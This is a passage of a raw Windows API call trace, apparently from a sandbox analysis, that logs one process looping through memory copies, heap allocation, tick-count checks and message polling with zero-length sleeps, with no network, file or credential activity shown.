returned 0x3832ec0 [0120.815] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.815] GetTickCount () returned 0x1150e05 [0120.815] GetTickCount () returned 0x1150e05 [0120.815] GetTickCount () returned 0x1150e05 [0120.815] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.815] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.815] GetTickCount () returned 0x1150e15 [0120.815] IsWindowVisible (hWnd=0x30268) returned 0 [0120.815] Sleep (dwMilliseconds=0x0) [0120.815] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.815] GetLastError () returned 0x0 [0120.815] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.815] GetLastError () returned 0x0 [0120.816] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.816] GetLastError () returned 0x0 [0120.816] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.816] GetLastError () returned 0x0 [0120.816] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.816] GetLastError () returned 0x0 [0120.816] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.816] GetLastError () returned 0x0 [0120.816] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.816] GetLastError () returned 0x0 [0120.816] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.816] GetLastError () returned 0x0 [0120.816] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.816] GetLastError () returned 0x0 [0120.816] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.816] GetLastError () returned 0x0 [0120.816] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.816] GetLastError () returned 0x0 [0120.816] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.816] GetLastError () returned 0x0 [0120.816] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.816] GetLastError () returned 0x0 [0120.816] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.816] GetLastError () returned 0x0 [0120.816] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.817] GetLastError () returned 0x0 [0120.817] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.817] GetLastError () returned 0x0 [0120.817] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.817] GetLastError () returned 0x0 [0120.817] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.817] GetLastError () returned 0x0 [0120.817] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.817] GetLastError () returned 0x0 [0120.817] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.817] GetLastError () returned 0x0 [0120.817] GetCurrentProcessId () returned 0x9e0 [0120.817] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.817] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.817] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.817] GetTickCount () returned 0x1150e15 [0120.817] GetTickCount () returned 0x1150e15 [0120.817] GetTickCount () returned 0x1150e15 [0120.817] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.817] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.817] GetTickCount () returned 0x1150e15 [0120.818] IsWindowVisible (hWnd=0x30268) returned 0 [0120.818] Sleep (dwMilliseconds=0x0) [0120.818] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.818] GetLastError () returned 0x0 [0120.818] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.818] GetLastError () returned 0x0 [0120.818] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.818] GetLastError () returned 0x0 [0120.818] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.818] GetLastError () returned 0x0 [0120.818] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.818] GetLastError () returned 0x0 [0120.818] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.818] GetLastError () returned 0x0 [0120.818] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.818] GetLastError () returned 0x0 [0120.818] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.818] GetLastError () returned 0x0 [0120.818] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.818] GetLastError () returned 0x0 [0120.819] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.819] GetLastError () returned 0x0 [0120.819] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.819] GetLastError () returned 0x0 [0120.819] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.819] GetLastError () returned 0x0 [0120.819] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.819] GetLastError () returned 0x0 [0120.819] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.819] GetLastError () returned 0x0 [0120.819] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.819] GetLastError () returned 0x0 [0120.819] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.819] GetLastError () returned 0x0 [0120.819] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.819] GetLastError () returned 0x0 [0120.819] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.819] GetLastError () returned 0x0 [0120.819] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.819] GetLastError () returned 0x0 [0120.819] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.819] GetLastError () returned 0x0 [0120.820] GetCurrentProcessId () returned 0x9e0 [0120.820] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.820] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.820] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.820] GetTickCount () returned 0x1150e15 [0120.820] GetTickCount () returned 0x1150e15 [0120.820] GetTickCount () returned 0x1150e15 [0120.820] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.820] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.820] GetTickCount () returned 0x1150e15 [0120.820] IsWindowVisible (hWnd=0x30268) returned 0 [0120.820] Sleep (dwMilliseconds=0x0) [0120.826] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.826] GetLastError () returned 0x0 [0120.826] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.826] GetLastError () returned 0x0 [0120.826] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.826] GetLastError () returned 0x0 [0120.826] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.826] GetLastError () returned 0x0 [0120.826] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.826] GetLastError () returned 0x0 [0120.826] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.826] GetLastError () returned 0x0 [0120.826] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.826] GetLastError () returned 0x0 [0120.826] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.826] GetLastError () returned 0x0 [0120.826] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.826] GetLastError () returned 0x0 [0120.826] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.826] GetLastError () returned 0x0 [0120.826] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.827] GetLastError () returned 0x0 [0120.827] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.827] GetLastError () returned 0x0 [0120.827] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.827] GetLastError () returned 0x0 [0120.827] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.827] GetLastError () returned 0x0 [0120.827] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.827] GetLastError () returned 0x0 [0120.827] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.827] GetLastError () returned 0x0 [0120.827] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.827] GetLastError () returned 0x0 [0120.827] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.827] GetLastError () returned 0x0 [0120.827] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.827] GetLastError () returned 0x0 [0120.827] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.827] GetLastError () returned 0x0 [0120.827] GetCurrentProcessId () returned 0x9e0 [0120.827] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.827] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.828] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.828] GetTickCount () returned 0x1150e15 [0120.828] GetTickCount () returned 0x1150e15 [0120.828] GetTickCount () returned 0x1150e15 [0120.828] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.828] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.828] GetTickCount () returned 0x1150e15 [0120.828] IsWindowVisible (hWnd=0x30268) returned 0 [0120.828] Sleep (dwMilliseconds=0x0) [0120.828] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.828] GetLastError () returned 0x0 [0120.828] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.828] GetLastError () returned 0x0 [0120.828] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.828] GetLastError () returned 0x0 [0120.828] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.828] GetLastError () returned 0x0 [0120.829] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.829] GetLastError () returned 0x0 [0120.829] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.829] GetLastError () returned 0x0 [0120.829] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.829] GetLastError () returned 0x0 [0120.829] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.829] GetLastError () returned 0x0 [0120.829] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.829] GetLastError () returned 0x0 [0120.829] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.829] GetLastError () returned 0x0 [0120.829] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.829] GetLastError () returned 0x0 [0120.829] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.829] GetLastError () returned 0x0 [0120.829] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.829] GetLastError () returned 0x0 [0120.829] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.829] GetLastError () returned 0x0 [0120.829] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.829] GetLastError () returned 0x0 [0120.829] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.829] GetLastError () returned 0x0 [0120.830] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.830] GetLastError () returned 0x0 [0120.830] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.830] GetLastError () returned 0x0 [0120.830] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.830] GetLastError () returned 0x0 [0120.830] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.830] GetLastError () returned 0x0 [0120.830] GetCurrentProcessId () returned 0x9e0 [0120.830] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.830] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.830] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.830] GetTickCount () returned 0x1150e15 [0120.830] GetTickCount () returned 0x1150e15 [0120.830] GetTickCount () returned 0x1150e15 [0120.830] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.830] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.830] GetTickCount () returned 0x1150e15 [0120.830] IsWindowVisible (hWnd=0x30268) returned 0 [0120.830] Sleep (dwMilliseconds=0x0) [0120.831] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.831] GetLastError () returned 0x0 [0120.831] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.831] GetLastError () returned 0x0 [0120.831] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.831] GetLastError () returned 0x0 [0120.831] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.831] GetLastError () returned 0x0 [0120.831] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.831] GetLastError () returned 0x0 [0120.831] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.831] GetLastError () returned 0x0 [0120.831] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.831] GetLastError () returned 0x0 [0120.831] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.831] GetLastError () returned 0x0 [0120.831] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.832] GetLastError () returned 0x0 [0120.832] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.832] GetLastError () returned 0x0 [0120.832] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.832] GetLastError () returned 0x0 [0120.832] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.832] GetLastError () returned 0x0 [0120.832] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.832] GetLastError () returned 0x0 [0120.832] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.832] GetLastError () returned 0x0 [0120.832] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.832] GetLastError () returned 0x0 [0120.832] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.832] GetLastError () returned 0x0 [0120.832] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.832] GetLastError () returned 0x0 [0120.832] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.832] GetLastError () returned 0x0 [0120.832] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.832] GetLastError () returned 0x0 [0120.832] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.832] GetLastError () returned 0x0 [0120.832] GetCurrentProcessId () returned 0x9e0 [0120.833] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.833] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.833] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.833] GetTickCount () returned 0x1150e25 [0120.833] GetTickCount () returned 0x1150e25 [0120.833] GetTickCount () returned 0x1150e25 [0120.833] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.833] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.833] GetTickCount () returned 0x1150e25 [0120.833] IsWindowVisible (hWnd=0x30268) returned 0 [0120.833] Sleep (dwMilliseconds=0x0) [0120.833] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.833] GetLastError () returned 0x0 [0120.833] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.833] GetLastError () returned 0x0 [0120.833] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.833] GetLastError () returned 0x0 [0120.833] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.833] GetLastError () returned 0x0 [0120.834] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.834] GetLastError () returned 0x0 [0120.834] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.834] GetLastError () returned 0x0 [0120.834] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.834] GetLastError () returned 0x0 [0120.834] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.834] GetLastError () returned 0x0 [0120.834] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.834] GetLastError () returned 0x0 [0120.834] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.834] GetLastError () returned 0x0 [0120.834] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.834] GetLastError () returned 0x0 [0120.834] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.834] GetLastError () returned 0x0 [0120.834] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.834] GetLastError () returned 0x0 [0120.834] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.834] GetLastError () returned 0x0 [0120.834] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.834] GetLastError () returned 0x0 [0120.834] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.834] GetLastError () returned 0x0 [0120.835] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.835] GetLastError () returned 0x0 [0120.835] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.835] GetLastError () returned 0x0 [0120.835] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.835] GetLastError () returned 0x0 [0120.835] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.835] GetLastError () returned 0x0 [0120.835] GetCurrentProcessId () returned 0x9e0 [0120.835] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.835] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.835] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.835] GetTickCount () returned 0x1150e25 [0120.835] GetTickCount () returned 0x1150e25 [0120.835] GetTickCount () returned 0x1150e25 [0120.835] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.835] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.835] GetTickCount () returned 0x1150e25 [0120.835] IsWindowVisible (hWnd=0x30268) returned 0 [0120.835] Sleep (dwMilliseconds=0x0) [0120.836] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.836] GetLastError () returned 0x0 [0120.836] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.836] GetLastError () returned 0x0 [0120.836] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.837] GetLastError () returned 0x0 [0120.837] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.837] GetLastError () returned 0x0 [0120.837] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.837] GetLastError () returned 0x0 [0120.837] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.837] GetLastError () returned 0x0 [0120.837] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.837] GetLastError () returned 0x0 [0120.837] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.837] GetLastError () returned 0x0 [0120.837] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.837] GetLastError () returned 0x0 [0120.837] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.837] GetLastError () returned 0x0 [0120.837] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.837] GetLastError () returned 0x0 [0120.837] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.837] GetLastError () returned 0x0 [0120.837] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.837] GetLastError () returned 0x0 [0120.837] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.837] GetLastError () returned 0x0 [0120.837] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.837] GetLastError () returned 0x0 [0120.838] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.838] GetLastError () returned 0x0 [0120.838] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.838] GetLastError () returned 0x0 [0120.838] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.838] GetLastError () returned 0x0 [0120.838] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.838] GetLastError () returned 0x0 [0120.838] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.838] GetLastError () returned 0x0 [0120.838] GetCurrentProcessId () returned 0x9e0 [0120.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.838] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.838] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, 